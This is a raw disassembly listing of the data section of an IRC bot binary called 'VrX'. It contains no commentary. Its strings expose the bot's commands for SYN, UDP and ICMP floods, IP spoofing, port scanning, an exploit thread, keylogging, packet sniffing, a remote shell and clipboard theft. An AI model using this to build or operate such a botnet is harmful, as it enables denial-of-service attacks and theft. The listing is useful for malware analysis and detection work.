DATA XREF: sub_401AC7+4FB0o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401AC7+4F93o aP: ; DATA XREF: sub_401AC7+4F7Co ; ___:00438318o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401AC7+4F65o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401AC7+4F4Eo align 4 aNs db 'ns',0 ; DATA XREF: sub_401AC7+4F37o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401AC7+4F20o aU: ; DATA XREF: sub_401AC7+4F09o ; ___:00438328o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401AC7+4EF2o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AC7+4EDBo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401AC7+4EC4o off_42AFEC dd offset word_587256 ; DATA XREF: sub_401AC7+4EADo dword_42AFF0 dd 637370h ; DATA XREF: sub_401AC7+4E96o aPortscan db 'portscan',0 ; DATA XREF: sub_401AC7+4E7Fo align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401AC7+4E59o aC_action db 'c_action',0 ; DATA XREF: sub_401AC7+4E42o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401AC7+4E2Bo align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AC7+4E14o align 4 aSc db 'sc',0 ; DATA XREF: sub_401AC7+4DFDo align 4 aScan db 'scan',0 ; DATA XREF: sub_401AC7+4DE6o align 10h aRd db 'rd',0 ; DATA XREF: sub_401AC7+4DCFo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401AC7+4DB8o align 10h aNazel db 'NAZEL',0 ; DATA XREF: sub_401AC7+4D8Ao ; sub_401AC7+4DA1o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401AC7+4D73o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AC7+4D5Co align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4D4Fo aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401AC7+4CD7o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AC7+4C5Do align 10h aSyn db 'syn',0 ; DATA XREF: sub_401AC7+4C46o ; sub_401AC7+5225o aSynflood db 'synflood',0 ; DATA XREF: sub_401AC7+4C2Fo align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401AC7+4C22o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AC7+4B4Bo align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AC7+4B34o ; sub_41364F:loc_41377Bo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AC7+4B1Do ; sub_41364F:loc_41375Fo align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AC7+4B06o ; sub_41364F+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401AC7+4AD8o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401AC7+4AAFo align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AC7+4A98o align 4 aMv db 'mv',0 ; DATA XREF: sub_401AC7+4A81o align 10h aRename db 'rename',0 ; DATA XREF: sub_401AC7+4A6Ao align 4 aFf db 'ff',0 ; DATA XREF: sub_401AC7+4A53o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401AC7+4A3Co align 4 aE: ; DATA XREF: sub_401AC7+4A25o ; ___:004382E8o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401AC7+4A0Eo aHadeth db 'HADETH',0 ; DATA XREF: sub_401AC7+49E0o ; sub_401AC7+49F7o align 4 aDe db 'de',0 ; DATA XREF: sub_401AC7+49C9o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401AC7+49B2o align 4 aRp db 'rp',0 ; DATA XREF: sub_401AC7+499Bo align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401AC7+4984o ; sub_401AC7+6B38o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401AC7+496Do aTsunami db 'tsunami',0 ; DATA XREF: sub_401AC7+4956o aT3 db 't3',0 ; DATA XREF: sub_401AC7+493Fo align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401AC7+4928o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401AC7+4911o aC_part db 'c_part',0 ; DATA XREF: sub_401AC7+48FAo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401AC7+48E3o aC_join db 'c_join',0 ; DATA XREF: sub_401AC7+48CCo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401AC7+48B5o aC_nick db 'c_nick',0 ; DATA XREF: sub_401AC7+489Eo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401AC7+4887o aC_mode db 'c_mode',0 ; DATA XREF: sub_401AC7+4870o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401AC7+4859o aC_raw db 'c_raw',0 ; DATA XREF: sub_401AC7+4842o align 4 aM: ; DATA XREF: sub_401AC7+482Bo ; ___:00437FF0o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401AC7+47FDo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401AC7+47E6o align 4 aA: ; DATA XREF: sub_401AC7+47CFo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401AC7+47B8o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AC7+478Ao aAa db 'aa',0 ; DATA XREF: sub_401AC7+4773o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401AC7+475Co align 4 aKl db 'kl',0 ; DATA XREF: sub_401AC7+4745o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401AC7+472Eo aGh db 'gh',0 ; DATA XREF: sub_401AC7+4705o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401AC7+46EEo unk_42B254 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4061A8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40619Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401AC7+4694o ; sub_4098FD+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406150o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401AC7+467Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4060AEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401AC7+45DDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401AC7+4575o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401AC7+453Fo align 4 aPause db 'pause',0 ; DATA XREF: sub_401AC7+4527o align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405FCBo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401AC7+44FAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401AC7+44A9o align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401AC7+4476o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401AC7+4452o aStop db 'stop',0 ; DATA XREF: sub_401AC7+4424o ; sub_401AC7+443Bo ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401AC7+440Do align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AC7+43F6o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7:loc_405EB0o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43DFo aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+43B1o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4364o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401AC7+4354o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401AC7+4323o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_405DDDo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401AC7+430Co db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401AC7+42DEo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401AC7+426Fo db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401AC7+420Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401AC7+41D6o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7:loc_405C90o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+41BFo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4191o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+4122o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401AC7+40BEo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401AC7+409Eo ; sub_401AC7+41EBo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401AC7+4089o align 4 aRf db 'rf',0 ; DATA XREF: sub_401AC7+4072o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401AC7+405Bo align 4 aCm db 'cm',0 ; DATA XREF: sub_401AC7+4044o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401AC7+402Do aMirc db 'mirc',0 ; DATA XREF: sub_401AC7+4016o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AC7+3FFFo aV: ; DATA XREF: sub_401AC7+3FE8o ; ___:00437FE4o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401AC7+3FD1o align 4 aLi db 'li',0 ; DATA XREF: sub_401AC7+3FBAo align 10h aList db 'list',0 ; DATA XREF: sub_401AC7+3FA3o align 4 aGt db 'gt',0 ; DATA XREF: sub_401AC7+3F8Co align 4 aDel db 'del',0 ; DATA XREF: sub_401AC7+3F5Eo aDelete db 'delete',0 ; DATA XREF: sub_401AC7+3F47o ; sub_401AC7+455Ao align 4 aKi db 'ki',0 ; DATA XREF: sub_401AC7+3F30o align 4 aKill db 'kill',0 ; DATA XREF: sub_401AC7+3F19o align 4 aKp db 'kp',0 ; DATA XREF: sub_401AC7+3F02o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401AC7+3EEBo align 4 aDn db 'dn',0 ; DATA XREF: sub_401AC7+3ED4o align 4 aDns db 'dns',0 ; DATA XREF: sub_401AC7+3EBDo aSe db 'se',0 ; DATA XREF: sub_401AC7+3EA6o align 10h aO: ; DATA XREF: sub_401AC7+3E78o ; ___:00438314o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401AC7+3E61o ; sub_401AC7+5884o ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401AC7+3E4Ao align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401AC7+3E33o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401AC7+3E1Co align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AC7+3E05o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401AC7+3DEEo aC_quit db 'c_quit',0 ; DATA XREF: sub_401AC7+3DD7o align 4 aK: ; DATA XREF: sub_401AC7+3DC0o ; ___:00438304o unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401AC7+3DA9o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401AC7+3D7Bo aPt db 'pt',0 ; DATA XREF: sub_401AC7+3D64o align 10h aJ: ; DATA XREF: sub_401AC7+3D36o ; ___:00438300o unicode 0, <j>,0 aN: ; DATA XREF: sub_401AC7+3D08o ; ___:00437FECo ... unicode 0, <n>,0 unk_42B788 db 2Dh ; - ; DATA XREF: sub_401AC7+3CD3o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+3C6Ao aRegister db 'register',0 ; DATA XREF: sub_401AC7+3C41o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AC7+3BE6o align 4 aMix db 'mix',0 ; DATA XREF: sub_401AC7+3B14o dword_42B7E8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401AC7+3ABEo ; sub_401AC7+3AF9o dd 0 dword_42B800 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401AC7+3A83o dd 1 dword_42B818 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401AC7+3A48o ; sub_401AC7+3B66o aCtcp db 'ctcp',0 ; DATA XREF: sub_401AC7+39F6o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AC7+395Bo ; sub_401AC7+399Bo ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401AC7+3904o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401AC7+3812o aChgnick db 'chgnick',0 ; DATA XREF: sub_401AC7+37CEo aNick_0 db 'nick',0 ; DATA XREF: sub_401AC7+36CBo ; sub_401AC7+3CF1o align 10h dword_42B860 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401AC7+36B0o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B888 dd 636364h ; DATA XREF: sub_401AC7+3633o dword_42B88C dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+34E2o dword_42B898 dd 4B43494Eh, 732520h ; DATA XREF: sub_401AC7+34C7o ; sub_401AC7+3725o ... dword_42B8A0 dd 69257325h, 0 ; DATA XREF: sub_401AC7+34AFo ; sub_40AAA0+4Eo ... aPnick db 'pnick',0 ; DATA XREF: sub_401AC7+346Fo align 10h aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AC7+3454o ; sub_401AC7+3539o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401AC7+342Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401AC7+3412o aPart_0 db 'part',0 ; DATA XREF: sub_401AC7+33F0o ; sub_401AC7+3D4Do align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401AC7+33D5o ; sub_401AC7+3510o ... aJoin db 'join',0 ; DATA XREF: sub_401AC7+33B3o ; sub_401AC7+3D1Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AC7+3398o align 4 aMode db 'mode',0 ; DATA XREF: sub_401AC7+334Co ; sub_401AC7+4814o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AC7+3331o align 4 aNt db 'nt',0 ; DATA XREF: sub_401AC7+32E5o align 10h dword_42B910 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401AC7+32CAo dword_42B924 dd 7463h ; DATA XREF: sub_401AC7+327Eo dword_42B928 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+3263o ; sub_401AC7+3869o ... dword_42B938 dd 5Fh ; DATA XREF: sub_401AC7+3237o ; sub_401AC7+329Eo ... dword_42B93C dd 6D70h ; DATA XREF: sub_401AC7+3217o ; sub_401AC7+47A1o unk_42B940 db 2Dh ; - ; DATA XREF: sub_401AC7+31E7o db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401AC7+3193o align 4 aFlood db 'flood',0 ; DATA XREF: sub_401AC7+3172o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401AC7+315Bo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AC7+3144o aRin db 'rin',0 ; DATA XREF: sub_401AC7+312Do aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AC7+3116o align 4 unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401AC7+3109o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401AC7+3097o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401AC7+3019o unk_42BA20 db 2Dh ; - ; DATA XREF: sub_401AC7+2FF9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA4C db 2Dh ; - ; DATA XREF: sub_401AC7+2FCFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AC7+2F97o align 4 unk_42BA8C db 2Dh ; - ; DATA XREF: sub_401AC7+2F3Eo ; sub_401AC7+2FAFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401AC7:loc_4049E3o ; sub_401AC7+3F75o unk_42BAC8 db 3 ; DATA XREF: sub_401AC7+2EAAo a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 4 unk_42BAF4 db 3 ; DATA XREF: sub_401AC7+2E9Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 10h dword_42BB20 dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401AC7+2E4Ao unk_42BB30 db 3 ; DATA XREF: sub_401AC7:loc_404902o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401AC7+2E18o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBBC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401AC7+2D9Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AC7+2D98o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401AC7+2D91o align 10h unk_42BBF0 db 2Dh ; - ; DATA XREF: sub_401AC7+2D1Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BC30 db 2Dh ; - ; DATA XREF: sub_401AC7+2C96o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC5C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2C14o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC98 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401AC7+2BA5o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCC0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7+2AF2o dword_42BCD0 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401AC7+2AEDo dword_42BCDC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401AC7+2ADAo dword_42BCEC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401AC7+2AD5o unk_42BCFC db 3 ; DATA XREF: sub_401AC7+2A62o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_40451Co ; sub_401AC7:loc_409578o ... align 4 unk_42BD2C db 3 ; DATA XREF: sub_401AC7+2A40o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044FAo align 10h aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4044E4o ; sub_401AC7+78DBo align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+2A0Bo align 4 unk_42BD7C db 3 ; DATA XREF: sub_401AC7+29BFo a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA8 db 3 ; DATA XREF: sub_401AC7+2981o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 10h unk_42BDC0 db 2Dh ; - ; DATA XREF: sub_401AC7+296Co db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDFC dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401AC7+28FDo dd 65726874h, 2E736461h, 0 dword_42BE1C dd 627573h ; DATA XREF: sub_401AC7+28D7o unk_42BE20 db 3 ; DATA XREF: sub_401AC7+2885o a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE38 db 2Dh ; - ; DATA XREF: sub_401AC7+286Ao db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE70 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401AC7+27DDo dd 2E676Fh unk_42BE88 db 3 ; DATA XREF: sub_401AC7+2756o a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BEA0 db 3 ; DATA XREF: sub_401AC7+2727o a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB8 db 3 ; DATA XREF: sub_401AC7+26D2o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BED0 db 2Dh ; - ; DATA XREF: sub_401AC7+26B6o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF0C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401AC7+2641o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401AC7+2621o align 10h unk_42BF30 db 2Dh ; - ; DATA XREF: sub_401AC7+25C2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 10h unk_42BF50 db 3 ; DATA XREF: sub_401AC7+2571o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403F6Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF88 db 2Dh ; - ; DATA XREF: sub_401AC7+24A0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42BFB0 db 2Dh ; - ; DATA XREF: sub_401AC7+2484o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFDC db 3 ; DATA XREF: sub_401AC7+246Eo a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF8 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401AC7+2440o dd 2Dh unk_42C010 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EF7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C03C db 2Dh ; - ; DATA XREF: sub_401AC7+2429o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_42C060 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403ECCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C08C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403EC5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B8 db 2Dh ; - ; DATA XREF: sub_401AC7+23F7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0DC db 2Dh ; - ; DATA XREF: sub_401AC7+23A4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C118 db 2Dh ; - ; DATA XREF: sub_401AC7+2335o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C154 db 2Dh ; - ; DATA XREF: sub_401AC7+2252o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42C190 db 2Dh ; - ; DATA XREF: sub_401AC7+21E7o ; sub_40BD7C+449o db 3, 34h, 2 db 68h ; h db 2 